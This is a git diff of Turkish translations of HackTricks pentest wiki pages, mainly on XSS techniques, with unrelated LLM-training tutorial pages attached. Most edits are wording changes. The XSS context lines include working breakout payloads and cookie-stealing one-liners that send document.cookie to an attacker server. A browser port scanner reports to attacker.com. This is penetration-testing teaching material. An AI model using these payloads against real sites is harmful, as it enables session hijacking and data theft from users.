Bu durumda **girdi** JS kodunun bir `.js` dosyasındaki veya `<script>...</script>` etiketleri arasındaki veya JS kodu çalıştırabilen HTML olayları arasındaki veya `javascript:` protokolünü kabul eden öznitelikler arasındaki **yansıtılacak**.
### \<script> etiketini kaçırma
@ -482,7 +482,7 @@ Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML
### JS kodu içinde
Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **keyfi JS** çalıştırabilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **keyfi JS** çalıştırabilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -491,9 +491,9 @@ Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **keyfi JS**
### Template literals \`\`
**Dize** oluşturmak için tek ve çift tırnakların yanı sıra JS ayrıca **ters tırnak** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamasına olanak tanıdığı için şablon dizeleri olarak bilinir.\
Bu nedenle, eğer girdinizin ters tırnak kullanan bir JS dizesi içinde **yansıtıldığını** bulursanız, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
Bu nedenle, eğer girdinizin bir JS dizesi içinde **yansıtıldığını** bulursanız ve bu dize ters tırnak kullanıyorsa, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
Bu, şu şekilde **kötüye kullanılabilir**:
Bu, **kötüye kullanılabilir**:
```javascript
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
@ -743,13 +743,13 @@ top[8680439..toString(30)](1)
{% endcontent-ref %}
Orada **DOM zafiyetlerinin ne olduğu, nasıl tetiklendiği ve nasıl istismar edileceği hakkında detaylı bir açıklama** bulacaksınız.\
Ayrıca, **bahsedilen gönderinin sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın.
Ayrıca, **bahsedilen gönderinin sonunda** [**DOM Clobbering saldırıları hakkında**](dom-xss.md#dom-clobbering) bir açıklama bulmayı unutmayın.
### Self-XSS'i Yükseltme
### Cookie XSS
Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez fırlatma saldırısını kullanabilirsiniz:
Eğer bir XSS'i bir çerez içinde yükleyerek tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için zayıf bir alt alan adı bulursanız**, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'ye karşı zayıf olan diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez atma saldırısını kullanabilirsiniz:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -757,15 +757,15 @@ Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız,
Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) bulabilirsiniz.
### Oturumunuzu yöneticilere gönderme
### Oturumunuzu yöneticinin gönderme
Belki bir kullanıcı profiline yöneticilerle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
Belki bir kullanıcı, profilini yöneticiyle paylaşabilir ve eğer self XSS kullanıcının profilindeyse ve yönetici buna erişirse, zafiyeti tetikleyecektir.
### Oturum Yansıtma
Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum yansıtma** varsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir.
**Yöneticiye self XSS'inizi tetikletip çerezlerini/oturumunu çalabilirsiniz.**
**Yöneticiye self XSS'inizi tetikletip** çerezlerini/oturumunu çalabilirsiniz.
## Diğer Atlatmalar
@ -829,7 +829,7 @@ Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş
### Sadece Harfler, Sayılar ve Noktalar
Eğer javascript'in **çalıştıracağı** **callback**'i bu karakterlerle sınırlı olarak belirtebiliyorsanız. [**Bu yazının bu bölümünü okuyun**](./#javascript-function) bu davranışı nasıl kötüye kullanacağınızı öğrenmek için.
Eğer javascript'in **çalıştıracağı** **callback**'i bu karakterlerle sınırlı olarak belirtebiliyorsanız. [**Bu gönderinin bu bölümünü okuyun**](./#javascript-function) bu davranışı nasıl kötüye kullanacağınızı öğrenmek için.
### XSS için Geçerli `<script>` İçerik Türleri
@ -837,7 +837,7 @@ Eğer javascript'in **çalıştıracağı** **callback**'i bu karakterlerle sın
> [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') adresinden script çalıştırmayı reddetti çünkü MIME türü (application/octet-stream) çalıştırılabilir değil ve katı MIME türü kontrolü etkin.
Chrome'un **yüklenmiş bir script** çalıştırmasına destek verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) adresindeki **`kSupportedJavascriptTypes`** sabitinin içindekilerdir.
Chrome'un **yüklenmiş bir script** çalıştırmasına destek verecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) indeki **`kSupportedJavascriptTypes`** sabitindeki türlerdir.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -859,7 +859,7 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### Script Türleri ile XSS
### Script Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Peki, bir script yüklemek için hangi türler belirtilebilir?
```html
@ -867,7 +867,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
Cevap şudur:
* **modül** (varsayılan, açıklanacak bir şey yok)
* **module** (varsayılan, açıklanacak bir şey yok)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip **`.wbn`** dosyasına paketleyebileceğiniz bir özelliktir.
```html
<script type="webbundle">
@ -926,7 +926,7 @@ Bu davranış, [**bu yazıda**](https://github.com/zwade/yaca/tree/master/soluti
* application/rss+xml (kapalı)
* application/atom+xml (kapalı)
Diğer tarayıcılarda diğer **`Content-Types`** rastgele JS çalıştırmak için kullanılabilir, kontrol et: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Diğer tarayıcılarda diğer **`Content-Types`** kullanılarak rastgele JS çalıştırılabilir, kontrol et: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml İçerik Türü
@ -942,7 +942,7 @@ Eğer sayfa text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve
**`"some {{template}} data".replace("{{template}}", <user_input>)`** gibi bir şey kullanıldığında, saldırgan bazı korumaları aşmaya çalışmak için [**özel dize değiştirmeleri**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kullanabilir: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir **JSON dizesini** bir script içinde kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir script içinde **bir JSON dizesini** kaçırmak ve rastgele kod çalıştırmak için kullanıldı.
### Chrome Önbelleği ile XSS
@ -983,7 +983,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Eğer **her şey tanımsızsa** güvenilmeyen kodu çalıştırmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür:
Eğer **her şey tanımsızsa** güvenilmeyen kodu çalıştırmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak mümkündür ve bu, rastgele güvenilmeyen kodun çalıştırılmasını istismar etmek için kullanılabilir:
* import() kullanarak
```javascript
@ -1088,13 +1088,13 @@ trigger()
### Iframe Tuzağı
Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağla ve eylemlerini çal (formlarda gönderilen bilgiler dahil):
Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağlamak ve eylemlerini çalmak (formlarda gönderilen bilgiler dahil):
{% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md)
{% endcontent-ref %}
### Çerezleri Al
### Çerezleri Alın
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1117,7 +1117,7 @@ Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağla ve eylemler
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
{% hint style="info" %}
JavaScript'ten çerezlere **erişemeyeceksiniz** eğer çerezde HTTPOnly bayrağı ayarlanmışsa. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/#httponly) var, eğer şanslıysanız.
Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemeyeceksiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/#httponly) var, eğer şanslıysanız.
{% endhint %}
### Sayfa İçeriğini Çalmak
@ -1179,7 +1179,7 @@ q.shift()();
}
</script>
```
### Port Tarayıcı (fetch)
### Port Scanner (fetch)
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
@ -1200,7 +1200,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
```
_Kısa süreler yanıt veren bir portu gösterir_ _Uzun süreler yanıt yok demektir._
Chrome'da yasaklanan portların listesini [**buradan**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) ve Firefox'ta [**buradan**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gözden geçirin.
Chrome'da yasaklanan portlar listesini [**buradan**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) ve Firefox'ta [**buradan**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gözden geçirin.
### Kimlik bilgileri istemek için kutu
```markup
@ -1340,7 +1340,7 @@ Render edilecek Markdown kodu enjekte edebilir misiniz? Belki XSS elde edebilirs
[xss-in-markdown.md](xss-in-markdown.md)
{% endcontent-ref %}
### XSS ile SSRF
### XSS'den SSRF'ye
**Önbellek kullanan bir sitede XSS elde ettiniz mi?** Bu yük ile Edge Side Include Injection aracılığıyla **bunu SSRF'ye yükseltmeyi** deneyin:
```python
@ -1358,7 +1358,7 @@ Yani, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunla
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %}
HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
{% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md)
@ -1368,13 +1368,13 @@ HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
[**E-posta için AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
Örnek [**Gmail'de Amp4Email'de XSS yazımı**](https://adico.me/post/xss-in-gmail-s-amp4email).
### Dosya yüklemede XSS (svg)
Aşağıdaki gibi bir dosyayı ( [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/) ) bir resim olarak yükleyin:
Aşağıdaki gibi bir dosyayı ( [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/) ) resim olarak yükleyin:
```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@ -1430,9 +1430,9 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Find **daha fazla SVG yüklemesi için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Çeşitli JS Hileleri ve İlgili Bilgiler
## Misc JS Tricks & Relevant Info
{% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md)
@ -1446,9 +1446,9 @@ Find **daha fazla SVG yüklemesi için** [**https://github.com/allanlw/svg-cheat
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking kariyeri** and hack the unhackable - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -1458,11 +1458,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
<details>
<summary>HackTricks'i Destekleyin</summary>
<summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi takip edin** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerini paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,6 +1,8 @@
# Bilgi Çalma JS
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -13,8 +15,6 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
@ -123,20 +123,18 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data))
}
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -2,19 +2,19 @@
## Ön Eğitim
Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapılarını, kalıplarını ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek model, dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlamsal olarak ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alabileceği ince ayar aşamasına geçebilir; bu da performansını ve hedef uygulamalardaki alaka düzeyini artırır.
Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapıları, kalıpları ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek model, dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlamsal olarak ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alabileceği ince ayar aşamasına geçebilir; bu da performansını ve hedef uygulamalardaki alaka düzeyini artırır.
## Ana LLM Bileşenleri
Genellikle bir LLM, onu eğitmek için kullanılan yapılandırma ile karakterize edilir. Bir LLM eğitirken yaygın bileşenler şunlardır:
* **Parametreler**: Parametreler, sinir ağındaki **öğrenilebilir ağırlıklar ve önyargılardır**. Bu, eğitim sürecinin kayıp fonksiyonunu minimize etmek ve modelin görev üzerindeki performansını artırmak için ayarladığı sayılardır. LLM'ler genellikle milyonlarca parametre kullanır.
* **Parametreler**: Parametreler, sinir ağındaki **öğrenilebilir ağırlıklar ve önyargılardır**. Bu, eğitim sürecinin kayıp fonksiyonunu minimize etmek ve modelin görevdeki performansını artırmak için ayarladığı sayılardır. LLM'ler genellikle milyonlarca parametre kullanır.
* **Bağlam Uzunluğu**: Bu, LLM'yi ön eğitmek için kullanılan her cümlenin maksimum uzunluğudur.
* **Gömme Boyutu**: Her token veya kelimeyi temsil etmek için kullanılan vektörün boyutu. LLM'ler genellikle milyarlarca boyut kullanır.
* **Gizli Boyut**: Sinir ağındaki gizli katmanların boyutu.
* **Katman Sayısı (Derinlik)**: Modelin kaç katmana sahip olduğu. LLM'ler genellikle on katman kullanır.
* **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, bu her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle onca başlık kullanır.
* **Dropout**: Dropout, eğitim sırasında verilerin kaldırılan yüzdesi gibidir (olasılıklar 0'a döner) ve **aşırı uyum sağlamayı önlemek** için kullanılır. LLM'ler genellikle %0-20 arasında kullanır.
* **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle on başlık kullanır.
* **Dropout**: Dropout, eğitim sırasında verilerin kaldırıldığı (olasılıkların 0'a döndüğü) yüzdelik bir şeydir; **aşırı uyum sağlamayı önlemek** için kullanılır. LLM'ler genellikle %0-20 arasında kullanır.
GPT-2 modelinin yapılandırması:
```json
@ -34,10 +34,10 @@ PyTorch'ta bir **tensör**, skalarlar, vektörler ve matrisler gibi kavramları
### Tensörlerin Matematiksel Kavramı
* **Skalarlar**: Tek bir sayıyı (sıfır boyutlu) temsil eden 0. dereceden tensörler. Örnek: 5
* **Skalarlar**: Tek bir sayıyı temsil eden 0. dereceden tensörler (sıfır boyutlu). Örnek: 5
* **Vektörler**: Bir dizi sayıyı temsil eden 1. dereceden tensörler. Örnek: \[5,1]
* **Matrisler**: Satır ve sütunlarla iki boyutlu dizileri temsil eden 2. dereceden tensörler. Örnek: \[\[1,3], \[5,2]]
* **Daha Yüksek Dereceli Tensörler**: 3. dereceden veya daha fazla, daha yüksek boyutlarda verileri temsil eden tensörler (örneğin, renkli görüntüler için 3D tensörler).
* **Daha Yüksek Dereceli Tensörler**: 3 veya daha fazla dereceden tensörler, verileri daha yüksek boyutlarda temsil eder (örneğin, renkli görüntüler için 3D tensörler).
### Tensörler Veri Konteyneri Olarak
@ -52,7 +52,7 @@ PyTorch tensörleri, sayısal verileri depolama ve işleme yetenekleri açısın
### PyTorch'ta Tensör Oluşturma
Tensörleri `torch.tensor` fonksiyonunu kullanarak oluşturabilirsiniz:
Tensörleri `torch.tensor` fonksiyonu kullanarak oluşturabilirsiniz:
```python
pythonCopy codeimport torch
@ -122,7 +122,7 @@ Tensörler, PyTorch'ta sinir ağları oluşturmak ve eğitmek için gereklidir:
## Otomatik Türev Alma
Otomatik türev alma (AD), fonksiyonların **türevlerini (gradyanlarını)** verimli ve doğru bir şekilde **değerlendirmek** için kullanılan bir hesaplama tekniğidir. Sinir ağları bağlamında, AD, **gradyan inişi gibi optimizasyon algoritmaları için gereken gradyanların** hesaplanmasını sağlar. PyTorch, bu süreci basitleştiren **autograd** adlı bir otomatik türev alma motoru sunar.
Otomatik türev alma (AD), fonksiyonların **türevlerini (gradyanlarını)** verimli ve doğru bir şekilde değerlendirmek için kullanılan bir hesaplama tekniğidir. Sinir ağları bağlamında, AD, **gradyan inişi gibi optimizasyon algoritmaları için gereken gradyanların** hesaplanmasını sağlar. PyTorch, bu süreci basitleştiren **autograd** adlı bir otomatik türev alma motoru sunar.
### Otomatik Türev Almanın Matematiksel Açıklaması
@ -132,17 +132,17 @@ Otomatik türev almanın temelinde, kalkülüsün **zincir kuralı** vardır. Zi
Matematiksel olarak, eğer `y=f(u)` ve `u=g(x)` ise, o zaman `y`'nin `x`'e göre türevi:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Hesaplama Grafiği**
AD'de, hesaplamalar **hesaplama grafiği** olarak düğümlerle temsil edilir; her düğüm bir işlem veya bir değişkene karşılık gelir. Bu grafiği geçerek, türevleri verimli bir şekilde hesaplayabiliriz.
AD'de, hesaplamalar **hesaplama grafiği** olarak temsil edilir; burada her düğüm bir işlem veya değişkene karşılık gelir. Bu grafiği geçerek, türevleri verimli bir şekilde hesaplayabiliriz.
3. Örnek
Basit bir fonksiyonu ele alalım:
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Burada:
@ -154,11 +154,11 @@ Kayıp `L`'nin ağırlık `w` ve bias `b`'ye göre gradyanını hesaplamak istiy
**4. Gradyanları Manuel Olarak Hesaplama**
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
**5. Sayısal Hesaplama**
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
### PyTorch'ta Otomatik Türev Almayı Uygulama
@ -214,7 +214,7 @@ Birden fazla katmana sahip daha büyük sinir ağlarında, gradyanları hesaplam
Bir gizli katmana sahip basit bir sinir ağını düşünün:
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### **4. PyTorch Uygulaması**

View file

@ -2,30 +2,30 @@
## Dikkat Mekanizmaları ve Sinir Ağlarındaki Kendine Dikkat
Dikkat mekanizmaları, sinir ağlarının **her bir çıktıyı üretirken girdinin belirli kısımlarına odaklanmasını** sağlar. Farklı girdilere farklıırlıklar atayarak, modelin mevcut görevle en ilgili girdileri belirlemesine yardımcı olur. Bu, makine çevirisi gibi görevlerde, tüm cümlenin bağlamını anlamanın doğru çeviri için gerekli olduğu durumlarda kritik öneme sahiptir.
Dikkat mekanizmaları, sinir ağlarının **her bir çıktıyı üretirken girdinin belirli kısımlarına odaklanmasını** sağlar. Farklı girdilere farklıırlıklar atayarak, modelin mevcut göreve en uygun girdileri belirlemesine yardımcı olur. Bu, makine çevirisi gibi görevlerde, tüm cümlenin bağlamını anlamanın doğru çeviri için gerekli olduğu durumlarda kritik öneme sahiptir.
{% hint style="success" %}
